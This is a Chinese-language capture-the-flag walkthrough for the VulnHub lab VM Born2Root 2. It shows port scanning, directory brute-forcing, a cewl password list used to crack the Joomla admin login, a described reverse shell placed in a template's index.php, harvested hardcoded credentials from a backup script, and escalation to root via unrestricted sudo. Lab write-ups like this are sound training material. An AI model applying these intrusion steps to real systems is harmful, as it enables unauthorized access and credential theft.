Born2Root 2
https://download.vulnhub.com/born2root/Born2rootv2.ova
靶场IP：192.168.32.18
扫描对外端口服务
┌──(root㉿kali)-[~]
└─# nmap -sV -p1-65535 192.168.32.18
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 00:09 EDT
Nmap scan report for 192.168.32.18
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
55052/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:FC:25:B6 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
浏览器访问80端口
爆破目录
┌──(root㉿kali)-[~]
└─# dirb http://192.168.32.18/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 13 00:10:53 2022
URL_BASE: http://192.168.32.18/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.18/ ----
==> DIRECTORY: http://192.168.32.18/css/
==> DIRECTORY: http://192.168.32.18/img/
+ http://192.168.32.18/index.html (CODE:200|SIZE:8454)
==> DIRECTORY: http://192.168.32.18/javascript/
==> DIRECTORY: http://192.168.32.18/joomla/
==> DIRECTORY: http://192.168.32.18/js/
+ http://192.168.32.18/LICENSE (CODE:200|SIZE:1093)
==> DIRECTORY: http://192.168.32.18/manual/
+ http://192.168.32.18/server-status (CODE:403|SIZE:301)
==> DIRECTORY: http://192.168.32.18/vendor/ 访问：/joomla/
使用cewl生成密码字典
┌──(root㉿kali)-[/tmp]
└─# cewl http://192.168.32.18/joomla/ > password爆破密码
爆破成功
Username: admin
Password: travel登录后台
编辑 index.php 后，单击"保存"按钮保存文件。现在我们已经成功地将 index.php 替换为我们的反向 shell 脚本。现在，剩下要做的就是运行 index.php。现在要获得会话，我们需要一个侦听器，我们将在其中获得反向 shell。我们将使用 netcat 创建一个监听器，如下图所示。
发现：fileshare.py，找出账号和密码：tim/lulzlol
www-data@born2root:/$ cd /opt
cd /opt
www-data@born2root:/opt$ ls
ls
scripts
www-data@born2root:/opt$ cd scripts
cd scripts
www-data@born2root:/opt/scripts$ ls
ls
fileshare.py
www-data@born2root:/opt/scripts$ cat fileshare.py
cat fileshare.py
#!/usr/bin/env python
import sys, paramiko
if len(sys.argv) < 5:
print "args missing"
sys.exit(1)
hostname = "localhost"
password = "lulzlol"
source = "/var/www/html/joomla"
dest = "/tmp/backup/joomla"
username = "tim"
port = 22
try:
t = paramiko.Transport((hostname, port))
t.connect(username=username, password=password)
sftp = paramiko.SFTPClient.from_transport(t)
sftp.get(source, dest)
finally:
t.close()
切换到tim用户
www-data@born2root:/opt/scripts$ su tim
su tim
Password: lulzlol查看sudo列表
tim@born2root:/opt/scripts$ sudo -l
sudo -l
[sudo] password for tim: lulzlol
Matching Defaults entries for tim on born2root:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tim may run the following commands on born2root:
(ALL : ALL) ALL
切换到root用户
最后更新于